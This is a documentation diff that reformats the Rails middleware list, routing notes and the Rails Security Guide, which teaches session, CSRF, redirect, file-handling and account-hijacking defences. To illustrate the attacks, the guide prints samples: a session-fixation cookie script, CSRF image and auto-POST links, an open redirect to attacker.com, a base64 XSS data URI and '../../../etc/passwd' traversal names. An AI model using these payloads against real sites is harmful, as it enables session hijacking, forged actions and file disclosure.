||||
**`ActionDispatch::Cookies`**
|
||||
|
||||
* Sets cookies for the request.
|
||||
|
||||
*`ActionDispatch::Session::CookieStore`*
|
||||
**`ActionDispatch::Session::CookieStore`**
|
||||
|
||||
* Responsible for storing the session in cookies.
|
||||
|
||||
*`ActionDispatch::Flash`*
|
||||
**`ActionDispatch::Flash`**
|
||||
|
||||
* Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value.
|
||||
|
||||
*`ActionDispatch::ParamsParser`*
|
||||
**`ActionDispatch::ParamsParser`**
|
||||
|
||||
* Parses out parameters from the request into `params`.
|
||||
|
||||
*`ActionDispatch::Head`*
|
||||
**`ActionDispatch::Head`**
|
||||
|
||||
* Converts HEAD requests to `GET` requests and serves them as so.
|
||||
|
||||
*`Rack::ConditionalGet`*
|
||||
**`Rack::ConditionalGet`**
|
||||
|
||||
* Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed.
|
||||
|
||||
*`Rack::ETag`*
|
||||
**`Rack::ETag`**
|
||||
|
||||
* Adds ETag header on all String bodies. ETags are used to validate cache.
|
||||
|
||||
*`ActionDispatch::BestStandardsSupport`*
|
||||
**`ActionDispatch::BestStandardsSupport`**
|
||||
|
||||
* Enables “best standards support” so that IE8 renders some elements correctly.
|
||||
|
||||
TIP: It's possible to use any of the above middlewares in your custom Rack stack.
|
||||
|
|
|
@ -142,7 +142,8 @@ resource :geocoder
|
|||
|
||||
creates six different routes in your application, all mapping to the `Geocoders` controller:
|
||||
|
||||
|_.HTTP Verb |_.Path |_.action |_.used for |
|
||||
| HTTP Verb | Path | action | used for |
|
||||
| --------- | -------------- | ------- | --------------------------------------------- |
|
||||
| GET | /geocoder/new | new | return an HTML form for creating the geocoder |
|
||||
| POST | /geocoder | create | create the new geocoder |
|
||||
| GET | /geocoder | show | display the one and only geocoder resource |
|
||||
|
@ -439,7 +440,7 @@ NOTE: You can't use `:namespace` or `:module` with a `:controller` path segment.
|
|||
get ':controller(/:action(/:id))', :controller => /admin\/[^\/]+/
|
||||
```
|
||||
|
||||
TIP: By default dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, `:id` => /[^\/]+/ allows anything except a slash.
|
||||
TIP: By default dynamic segments don't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within a dynamic segment, add a constraint that overrides this – for example, `:id => /[^\/]+/` allows anything except a slash.
|
||||
|
||||
### Static Segments
|
||||
|
||||
|
@ -744,7 +745,7 @@ end
|
|||
|
||||
NOTE: Of course, you can use the more advanced constraints available in non-resourceful routes in this context.
|
||||
|
||||
TIP: By default the `:id` parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this - for example `:id` => /[^\/]+/ allows anything except a slash.
|
||||
TIP: By default the `:id` parameter doesn't accept dots - this is because the dot is used as a separator for formatted routes. If you need to use a dot within an `:id` add a constraint which overrides this - for example `:id => /[^\/]+/` allows anything except a slash.
|
||||
|
||||
### Overriding the Named Helpers
|
||||
|
||||
|
|
|
@ -3,7 +3,7 @@ Ruby On Rails Security Guide
|
|||
|
||||
This manual describes common security problems in web applications and how to avoid them with Rails. After reading it, you should be familiar with:
|
||||
|
||||
* All countermeasures _(highlight)that are highlighted_
|
||||
* All countermeasures _that are highlighted_
|
||||
* The concept of sessions in Rails, what to put in there and popular attack methods
|
||||
* How just visiting a site can be a security problem (with CSRF)
|
||||
* What you have to pay attention to when working with files or providing an administration interface
|
||||
|
@ -59,13 +59,13 @@ Many web applications have an authentication system: a user provides a user name
|
|||
|
||||
Hence, the cookie serves as temporary authentication for the web application. Everyone who seizes a cookie from someone else, may use the web application as this user – with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
|
||||
|
||||
* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _(highlight)provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
|
||||
* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
|
||||
|
||||
```ruby
|
||||
config.force_ssl = true
|
||||
```
|
||||
|
||||
* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _(highlight)log-out button_ in the web application, and _(highlight)make it prominent_.
|
||||
* Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_.
|
||||
|
||||
* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
|
||||
|
||||
|
@ -77,10 +77,10 @@ The main objective of most attackers is to make money. The underground prices fo
|
|||
|
||||
Here are some general guidelines on sessions.
|
||||
|
||||
* _(highlight)Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
|
||||
* _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
|
||||
This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
|
||||
|
||||
* _(highlight)Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
|
||||
* _Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
|
||||
|
||||
### Session Storage
|
||||
|
||||
|
@ -88,11 +88,11 @@ NOTE: _Rails provides several storage mechanisms for the session hashes. The mos
|
|||
|
||||
Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
|
||||
|
||||
* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _(highlight)Storing the current user's database id in a session is usually ok_.
|
||||
* Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. _Storing the current user's database id in a session is usually ok_.
|
||||
|
||||
* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _(highlight)you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
|
||||
* The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, _you don't want to store any secrets here_. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
|
||||
|
||||
That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _(highlight)don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
|
||||
That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_. Put the secret in your environment.rb:
|
||||
|
||||
```ruby
|
||||
config.action_dispatch.session = {
|
||||
|
@ -117,7 +117,7 @@ It works like this:
|
|||
|
||||
Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
|
||||
|
||||
The best _(highlight)solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
|
||||
The best _solution against it is not to store this kind of data in a session, but in the database_. In this case store the credit in the database and the logged_in_user_id in the session.
|
||||
|
||||
### Session Fixation
|
||||
|
||||
|
@ -127,32 +127,32 @@ NOTE: _Apart from stealing a user's session id, the attacker may fix a session i
|
|||
|
||||
This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
|
||||
|
||||
# The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
|
||||
# He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
|
||||
# Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
</script>`. Read more about XSS and injection later on.
|
||||
# The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
|
||||
# As the new trap session is unused, the web application will require the user to authenticate.
|
||||
# From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
|
||||
* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
|
||||
* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
|
||||
* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
|
||||
* The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
|
||||
* As the new trap session is unused, the web application will require the user to authenticate.
|
||||
* From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
|
||||
|
||||
### Session Fixation – Countermeasures
|
||||
|
||||
TIP: _One line of code will protect you from session fixation._
|
||||
|
||||
The most effective countermeasure is to _(highlight)issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
|
||||
The most effective countermeasure is to _issue a new session identifier_ and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
|
||||
|
||||
```ruby
|
||||
reset_session
|
||||
```
|
||||
|
||||
If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _(highlight)you have to transfer them to the new session_.
|
||||
If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
|
||||
|
||||
Another countermeasure is to _(highlight)save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _(highlight)These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
|
||||
Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
|
||||
|
||||
### Session Expiry
|
||||
|
||||
NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
|
||||
|
||||
One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _(highlight)expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
|
||||
One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
|
||||
|
||||
```ruby
|
||||
class Session < ActiveRecord::Base
|
||||
|
@ -183,7 +183,7 @@ This attack method works by including malicious code or a link in a page that ac
|
|||
In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
|
||||
|
||||
* Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
|
||||
* `<img src="http://www.webapp.com/project/1/destroy">`
|
||||
* `<img src="http://www.webapp.com/project/1/destroy">`
|
||||
* Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
|
||||
* By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
|
||||
* The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
|
||||
|
@ -191,7 +191,7 @@ In the <a href="#sessions">session chapter</a> you have learned that most Rails
|
|||
|
||||
It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
|
||||
|
||||
CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _(highlight)CSRF is an important security issue_.
|
||||
CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – _CSRF is an important security issue_.
|
||||
|
||||
### CSRF Countermeasures
|
||||
|
||||
|
@ -201,17 +201,17 @@ The HTTP protocol basically provides two main types of requests - GET and POST (
|
|||
|
||||
*Use GET if:*
|
||||
|
||||
* The interaction is more _(highlight)like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
|
||||
* The interaction is more _like a question_ (i.e., it is a safe operation such as a query, read operation, or lookup).
|
||||
|
||||
*Use POST if:*
|
||||
|
||||
* The interaction is more _(highlight)like an order_, or
|
||||
* The interaction _(highlight)changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
|
||||
* The user is _(highlight)held accountable for the results_ of the interaction.
|
||||
* The interaction is more _like an order_, or
|
||||
* The interaction _changes the state_ of the resource in a way that the user would perceive (e.g., a subscription to a service), or
|
||||
* The user is _held accountable for the results_ of the interaction.
|
||||
|
||||
If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today's web browsers, however do not support them - only GET and POST. Rails uses a hidden `_method` field to handle this barrier.
|
||||
|
||||
_(highlight)POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
|
||||
_POST requests can be sent automatically, too_. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
|
||||
|
||||
```html
|
||||
<a href="http://www.harmless.com/" onclick="
|
||||
|
@ -230,7 +230,7 @@ Or the attacker places the code into the onmouseover event handler of an image:
|
|||
<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
|
||||
```
|
||||
|
||||
There are many other possibilities, including Ajax to attack the victim in the background.
The _(highlight)solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
|
||||
There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
|
||||
|
||||
```ruby
|
||||
protect_from_forgery :secret => "123456789012345678901234567890..."
|
||||
|
@ -249,7 +249,7 @@ end
|
|||
|
||||
The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request.
|
||||
|
||||
Note that _(highlight)cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
|
||||
Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later.
|
||||
|
||||
Redirection and Files
|
||||
---------------------
|
||||
|
@ -274,7 +274,7 @@ This will redirect the user to the main action if he tried to access a legacy ac
|
|||
http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com
|
||||
```
|
||||
|
||||
If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _(highlight)include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _(highlight)And if you redirect to an URL, check it with a whitelist or a regular expression_.
|
||||
If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to _include only the expected parameters in a legacy action_ (again a whitelist approach, as opposed to removing unexpected parameters). _And if you redirect to an URL, check it with a whitelist or a regular expression_.
|
||||
|
||||
#### Self-contained XSS
|
||||
|
||||
|
@ -282,15 +282,15 @@ Another redirection and self-contained XSS attack works in Firefox and Opera by
|
|||
|
||||
`data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K`
|
||||
|
||||
This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _(highlight)do not allow the user to supply (parts of) the URL to be redirected to_.
|
||||
This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, _do not allow the user to supply (parts of) the URL to be redirected to_.
|
||||
|
||||
### File Uploads
|
||||
|
||||
NOTE: _Make sure file uploads don't overwrite important files, and process media files asynchronously._
|
||||
|
||||
Many web applications allow users to upload files. _(highlight)File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
|
||||
Many web applications allow users to upload files. _File names, which the user may choose (partly), should always be filtered_ as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
|
||||
|
||||
When filtering user input file names, _(highlight)don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _(highlight)checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:)
|
||||
When filtering user input file names, _don't try to remove malicious parts_. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which _checks for the validity of a file name with a set of accepted characters_. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the [attachment_fu plugin](https://github.com/technoweenie/attachment_fu/tree/master:)
|
||||
|
||||
```ruby
|
||||
def sanitize_filename(filename)
|
||||
|
@ -305,9 +305,9 @@ def sanitize_filename(filename)
|
|||
end
|
||||
```
|
||||
|
||||
A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its _(highlight)vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
|
||||
A significant disadvantage of synchronous processing of file uploads (as the attachment\_fu plugin may do with images), is its _vulnerability to denial-of-service attacks_. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
|
||||
|
||||
The solution to this is best to _(highlight)process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
|
||||
The solution to this is best to _process media files asynchronously_: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
|
||||
|
||||
### Executable Code in File Uploads
|
||||
|
||||
|
@ -315,7 +315,7 @@ WARNING: _Source code in uploaded files may be executed when placed in specific
|
|||
|
||||
The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
|
||||
|
||||
_(highlight)If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
|
||||
_If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it_, store files at least one level downwards.
|
||||
|
||||
### File Downloads
|
||||
|
||||
|
@ -327,7 +327,7 @@ Just as you have to filter file names for uploads, you have to do so for downloa
|
|||
send_file('/var/www/uploads/' + params[:filename])
|
||||
```
|
||||
|
||||
Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _(highlight)check that the requested file is in the expected directory_:
|
||||
Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to _check that the requested file is in the expected directory_:
|
||||
|
||||
```ruby
|
||||
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
|
||||
|
@ -350,7 +350,7 @@ In 2007 there was the first tailor-made trojan which stole information from an I
|
|||
|
||||
Having one single place in the admin interface or Intranet, where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
|
||||
|
||||
Refer to the Injection section for countermeasures against XSS. It is _(highlight)recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
|
||||
Refer to the Injection section for countermeasures against XSS. It is _recommended to use the SafeErb plugin_ also in an Intranet or administration interface.
|
||||
|
||||
*CSRF* Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
|
||||
|
||||
|
@ -360,17 +360,17 @@ Another example changed Google Adsense's e-mail address and password by. If the
|
|||
|
||||
Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
|
||||
|
||||
For _(highlight)countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
|
||||
For _countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section_.
|
||||
|
||||
### Additional Precautions
|
||||
|
||||
The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
|
||||
|
||||
* It is very important to _(highlight)think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _(highlight)introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _(highlight)special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _(highlight)special password for very serious actions_?
|
||||
* It is very important to _think about the worst case_: What if someone really got hold of my cookie or user credentials. You could _introduce roles_ for the admin interface to limit the possibilities of the attacker. Or how about _special login credentials_ for the admin interface, other than the ones used for the public part of the application. Or a _special password for very serious actions_?
|
||||
|
||||
* Does the admin really have to access the interface from everywhere in the world? Think about _(highlight)limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
|
||||
* Does the admin really have to access the interface from everywhere in the world? Think about _limiting the login to a bunch of source IP addresses_. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
|
||||
|
||||
* _(highlight)Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
|
||||
* _Put the admin interface to a special sub-domain_ such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
|
||||
|
||||
Mass Assignment
|
||||
---------------
|
||||
|
@ -430,7 +430,7 @@ attr_protected :admin
|
|||
attr_protected :last_login, :as => :admin
|
||||
```
|
||||
|
||||
A much better way, because it follows the whitelist-principle, is the `attr_accessible` method. It is the exact opposite of `attr_protected`, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
|
||||
A much better way, because it follows the whitelist-principle, is the `attr_accessible` method. It is the exact opposite of `attr_protected`, because _it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
|
||||
|
||||
```ruby
|
||||
attr_accessible :name
|
||||
|
@ -511,7 +511,7 @@ If the parameter was nil, the resulting SQL query will be
|
|||
SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1
|
||||
```
|
||||
|
||||
And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
|
||||
And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this.
|
||||
|
||||
### Brute-Forcing Accounts
|
||||
|
||||
|
@ -523,7 +523,7 @@ Because of this, most web applications will display a generic error message “u
|
|||
|
||||
However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
|
||||
|
||||
In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
|
||||
In order to mitigate such attacks, _display a generic error message on forgot-password pages, too_. Moreover, you can _require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
|
||||
|
||||
### Account Hijacking
|
||||
|
||||
|
@ -531,15 +531,15 @@ Many web applications make it easy to hijack user accounts. Why not be different
|
|||
|
||||
#### Passwords
|
||||
|
||||
Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _(highlight)make change-password forms safe against CSRF_, of course. And _(highlight)require the user to enter the old password when changing it_.
|
||||
Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_.
|
||||
|
||||
#### E-Mail
|
||||
|
||||
However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _(highlight)require the user to enter the password when changing the e-mail address, too_.
|
||||
However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_.
|
||||
|
||||
#### Other
|
||||
|
||||
Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _(highlight)review your application logic and eliminate all XSS and CSRF vulnerabilities_.
|
||||
Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_.
|
||||
|
||||
### CAPTCHAs
|
||||
|
||||
|
@ -566,13 +566,13 @@ You can find more sophisticated negative CAPTCHAs in Ned Batchelder's [blog post
|
|||
